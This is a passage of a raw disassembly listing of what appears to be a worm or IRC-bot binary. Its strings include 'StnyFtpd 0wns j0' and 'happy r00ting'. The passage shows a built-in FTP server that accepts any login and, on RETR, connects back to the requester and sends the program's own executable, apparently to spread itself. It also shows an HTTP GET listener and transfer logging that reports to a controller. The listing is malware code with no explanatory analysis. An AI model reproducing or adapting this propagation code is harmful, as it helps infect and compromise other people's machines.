		call	sub_409979
		pop	ecx
		push	0
		call	dword_4E03A0	; ExitThread
sub_40CE55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0F7	proc near		; DATA XREF: sub_40A01B+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	dword_4E04FC	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_4E051C	; socket
		mov	esi, dword_4E0500
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4E052C	; ioctlsocket
		mov	ax, word ptr dword_4D63A0
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4D6668	; ntohs
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4E0508	; bind
		test	eax, eax
		jge	short loc_40D1BD
		mov	eax, ebx
		jmp	loc_40D708
; ---------------------------------------------------------------------------


loc_40D1BD:				; CODE XREF: sub_40D0F7+BDj
		push	0Ah
		push	edi
		call	dword_4E050C	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, dword_4E0520
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi


loc_40D1DB:				; CODE XREF: sub_40D0F7+11Bj
					; sub_40D0F7+609j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4E0524	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D705
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40D1DB


loc_40D214:				; CODE XREF: sub_40D0F7+603j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417700
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_433746	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40D6F3
		cmp	edi, [ebp+var_8]
		jnz	short loc_40D2BD
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4E0510	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D6F3
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40D28F


loc_40D281:				; CODE XREF: sub_40D0F7+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40D28F
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40D281


loc_40D28F:				; CODE XREF: sub_40D0F7+188j
					; sub_40D0F7+191j
		cmp	ecx, edx
		jnz	short loc_40D2A5
		cmp	edx, 40h
		jnb	short loc_40D2A5
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]


loc_40D2A5:				; CODE XREF: sub_40D0F7+19Aj
					; sub_40D0F7+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40D2AD
		mov	[ebp+var_4], eax


loc_40D2AD:				; CODE XREF: sub_40D0F7+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40D6F3
; ---------------------------------------------------------------------------


loc_40D2BD:				; CODE XREF: sub_40D0F7+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4E0514	; recv
		test	eax, eax
		jg	short loc_40D31A
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40D30E


loc_40D2DE:				; CODE XREF: sub_40D0F7+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40D303
		inc	eax
		cmp	eax, ecx
		jb	short loc_40D2DE
		jmp	short loc_40D30E
; ---------------------------------------------------------------------------


loc_40D2EE:				; CODE XREF: sub_40D0F7+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax


loc_40D303:				; CODE XREF: sub_40D0F7+1EEj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40D2EE
		dec	[ebp+var_23C]


loc_40D30E:				; CODE XREF: sub_40D0F7+1E5j
					; sub_40D0F7+1F5j
		push	edi
		call	dword_4E0518	; closesocket
		jmp	loc_40D6F3
; ---------------------------------------------------------------------------


loc_40D31A:				; CODE XREF: sub_40D0F7+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_419670
		lea	eax, [ebp+var_B0]
		push	offset aUser_2	; "USER"
		push	eax
		call	sub_418A30
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40D35E
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D35E:				; CODE XREF: sub_40D0F7+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass_0	; "PASS"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D382
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D382:				; CODE XREF: sub_40D0F7+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3A6
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D3A6:				; CODE XREF: sub_40D0F7+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3CA
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D3CA:				; CODE XREF: sub_40D0F7+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_440C14
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3EE
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D0F7+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D429
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D429
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D429:				; CODE XREF: sub_40D0F7+30Cj
					; sub_40D0F7+323j
		lea	eax, [ebp+var_B0]
		push	offset aType_0	; "TYPE"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D464
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D464
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D464:				; CODE XREF: sub_40D0F7+347j
					; sub_40D0F7+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D4B2
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40D4A2:				; CODE XREF: sub_40D0F7+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40D6E1
; ---------------------------------------------------------------------------


loc_40D4B2:				; CODE XREF: sub_40D0F7+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D4F3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40D4A2
; ---------------------------------------------------------------------------


loc_40D4F3:				; CODE XREF: sub_40D0F7+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D5C4
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS_14	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_419670
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_417960
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_417960
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_417700
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_417CB0
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_418560
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_417CB0
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D5C4:				; CODE XREF: sub_40D0F7+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D6BF
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40D70F
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40D6B5
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40D644
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_40764A
		add	esp, 14h


loc_40D644:				; CODE XREF: sub_40D0F7+528j
		call	sub_40D78C
		cmp	eax, 1
		jnz	loc_40D6E1
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40D6A0
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_40764A
		add	esp, 14h


loc_40D6A0:				; CODE XREF: sub_40D0F7+584j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40F927
		inc	dword_4D9174
		pop	ecx
		jmp	short loc_40D6E1
; ---------------------------------------------------------------------------


loc_40D6B5:				; CODE XREF: sub_40D0F7+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40D6DE
; ---------------------------------------------------------------------------


loc_40D6BF:				; CODE XREF: sub_40D0F7+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit_1	; "QUIT"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D6E1
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40D6DE:				; CODE XREF: sub_40D0F7+262j
					; sub_40D0F7+286j ...
		push	edi
		call	ebx	; send


loc_40D6E1:				; CODE XREF: sub_40D0F7+3B6j
					; sub_40D0F7+555j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417700
		add	esp, 0Ch


loc_40D6F3:				; CODE XREF: sub_40D0F7+14Fj
					; sub_40D0F7+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40D214
		jmp	loc_40D1DB
; ---------------------------------------------------------------------------


loc_40D705:				; CODE XREF: sub_40D0F7+10Fj
		xor	eax, eax
		inc	eax


loc_40D708:				; CODE XREF: sub_40D0F7+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40D0F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D70F	proc near		; CODE XREF: sub_40D0F7+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4E04FC	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4E051C	; socket
		push	[ebp+arg_0]
		mov	dword_4D93A4, eax
		mov	[ebp+var_10], 2
		call	dword_4E0504	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4E04F0	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4D93A4
		call	dword_4E04F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D787
		push	dword_4D93A4
		call	dword_4E0518	; closesocket
		call	dword_4E04F8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D787:				; CODE XREF: sub_40D70F+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40D70F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D78C	proc near		; CODE XREF: sub_40D0F7:loc_40D644p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_4E0334	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4176E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40D823
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40D807
		push	edi
		mov	edi, 400h


loc_40D7CF:				; CODE XREF: sub_40D78C+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4173D0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4D93A4
		call	dword_4E0520	; send
		push	1
		call	dword_4E033C	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40D7CF
		pop	edi


loc_40D807:				; CODE XREF: sub_40D78C+3Bj
		push	esi
		call	sub_414F40
		pop	ecx
		push	dword_4D93A4
		call	dword_4E0518	; closesocket
		call	dword_4E04F8	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40D823:				; CODE XREF: sub_40D78C+35j
		pop	esi
		leave
		retn
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D826	proc near		; DATA XREF: sub_401C87+1E67o
					; sub_40A01B+46Co

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_4181D0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4D6668	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4D66E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_40DBF2
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4495AC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4D6694	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DBF2
		push	7FFFFFFFh
		push	edi
		call	dword_4D6690	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DBF2
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4D6704	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DBF2
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_40D8FD:				; CODE XREF: sub_40D826+3C2j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4D6650	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DBED
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_40D933:				; CODE XREF: sub_40D826+3BCj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_4D6554	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40DBD8
		cmp	edi, [ebp+var_8]
		jnz	short loc_40D9B4
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4D66FC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DBD8
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40D986


loc_40D978:				; CODE XREF: sub_40D826+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40D986
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40D978


loc_40D986:				; CODE XREF: sub_40D826+150j
					; sub_40D826+159j
		cmp	ecx, ebx
		jnz	short loc_40D9A3
		cmp	ebx, 40h
		jnb	short loc_40D9A3
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_40D9A3:				; CODE XREF: sub_40D826+162j
					; sub_40D826+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_40DBD8
		mov	[ebp+var_4], eax
		jmp	loc_40DBD8
; ---------------------------------------------------------------------------


loc_40D9B4:				; CODE XREF: sub_40D826+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_417700
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417700
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_4D6680	; recv
		test	eax, eax
		jg	short loc_40DA3B
		push	edi
		call	dword_4D6700	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_40DBD8


loc_40DA00:				; CODE XREF: sub_40D826+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40DA28
		inc	eax
		cmp	eax, ebx
		jb	short loc_40DA00
		jmp	loc_40DBD8
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: sub_40D826+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40DA28:				; CODE XREF: sub_40D826+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40DA13
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_40DBD8
; ---------------------------------------------------------------------------


loc_40DA3B:				; CODE XREF: sub_40D826+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417700
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_414EC0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40DBD8


loc_40DA68:				; CODE XREF: sub_40D826+2FFj
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40DB14
		lea	eax, [ebp+var_18F0]
		push	offset aGet_0	; "GET "
		push	eax
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DAE4
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_414EC0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40DAE4
		push	offset asc_440E06 ; " "
		push	offset asc_440E08 ; " "
		lea	eax, [ebp+var_18F0]
		push	offset aGet_1	; "GET "
		push	eax
		call	sub_417E00
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417E00
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418AC0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_418870
		add	esp, 10h
		jmp	short loc_40DAFB
; ---------------------------------------------------------------------------


loc_40DAE4:				; CODE XREF: sub_40D826+26Dj
					; sub_40D826+27Fj
		lea	eax, [ebp+var_18F0]
		push	offset asc_440E14 ; "\r\n"
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DB30


loc_40DAFB:				; CODE XREF: sub_40D826+2BCj
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40DB14:				; CODE XREF: sub_40D826+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_414EC0
		cmp	edi, eax
		pop	ecx
		jb	loc_40DA68
		jmp	loc_40DBD8
; ---------------------------------------------------------------------------


loc_40DB30:				; CODE XREF: sub_40D826+2D3j
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40DB6C


loc_40DB36:				; CODE XREF: sub_40D826+31Fj
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40DB5E
		inc	eax
		cmp	eax, ebx
		jb	short loc_40DB36
		jmp	short loc_40DB6C
; ---------------------------------------------------------------------------


loc_40DB49:				; CODE XREF: sub_40D826+33Dj
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40DB5E:				; CODE XREF: sub_40D826+31Aj
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40DB49
		dec	ebx
		mov	[ebp+var_128], ebx


loc_40DB6C:				; CODE XREF: sub_40D826+30Ej
					; sub_40D826+321j
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_414EC0
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_414EC0
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_40DBCF
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_4D6704	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DDDE
		add	esp, 14h
		jmp	short loc_40DBD8
; ---------------------------------------------------------------------------


loc_40DBCF:				; CODE XREF: sub_40D826+36Aj
		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket


loc_40DBD8:				; CODE XREF: sub_40D826+11Dj
					; sub_40D826+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40D933
		jmp	loc_40D8FD
; ---------------------------------------------------------------------------


loc_40DBED:				; CODE XREF: sub_40D826+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_40DBF2:				; CODE XREF: sub_40D826+6Aj
					; sub_40D826+92j ...
		call	dword_4D65FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_440E18
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40DC38
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40764A
		add	esp, 14h


loc_40DC38:				; CODE XREF: sub_40D826+3EDj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40F927
		pop	ecx
		push	edi
		call	dword_4D6700	; closesocket
		push	[ebp+var_254]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40D826	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


